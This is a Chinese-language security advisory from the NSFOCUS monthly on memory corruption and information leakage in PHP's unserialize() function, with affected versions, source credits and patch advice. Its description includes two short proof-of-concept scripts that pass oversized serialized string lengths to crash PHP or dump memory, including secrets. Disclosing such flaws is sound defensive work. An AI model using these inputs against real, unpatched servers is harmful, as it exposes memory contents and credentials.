首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第55期->最新漏洞
期刊号: 类型: 关键词:
PHP unserialize()内存破坏和信息泄露漏洞

日期:2005-01-06

发布日期:2004-12-15
更新日期:2004-12-16

受影响系统:
PHP PHP 5.0.2
PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.9
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.2-dev
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1pl2
PHP PHP 4.0.1pl1
PHP PHP 4.0.1
PHP PHP 4.0
不受影响系统:
PHP PHP 5.0.3
PHP PHP 4.3.10
描述:
--------------------------------------------------------------------------------
PHP是一种流行的WEB服务器端编程语言。

PHP unserialize()函数存在多个安全问题,远程攻击者可以利用这些漏洞进行缓冲区溢出攻击及获得文件信息。

unserialize()函数对输入缺少充分过滤,可导致内存破坏及信息泄露,如:

"Segfault":
---cut here---
<?
$s = 's:9999999:"A";"';
$a = unserialize($s);
print $a;
?>
---cut here---

另外利用此函数也可导致任意代码执行并泄露问和系统信息:

EXAMPLE script - "Memory Dump":
---cut here---
<?
// session- and stuff
$secret_username="uaaaa";
$secret_password="hoschi";

// stuff
// $c = $_COOKIE ['crypted_stuff']
// $c = some cookie
/* simplyfied --> userinput */ $c = 's:30000:"crap";';

$userdata = unserialize($c);
//
// check $userdata stuff
// for some reason output $userdata
print $userdata . "\n is NOT valid !!\n";

// stuff
?>
---cut here---

<*来源:Stefan Esser (s.esser@ematters.de)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110314318531298&w=2
        http://marc.theaimsgroup.com/?l=bugtraq&m=110314811005626&w=2
*>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载PHP 4.3.10或PHP 5.0.3:

http://www.php.net

版权所有,未经许可,不得转载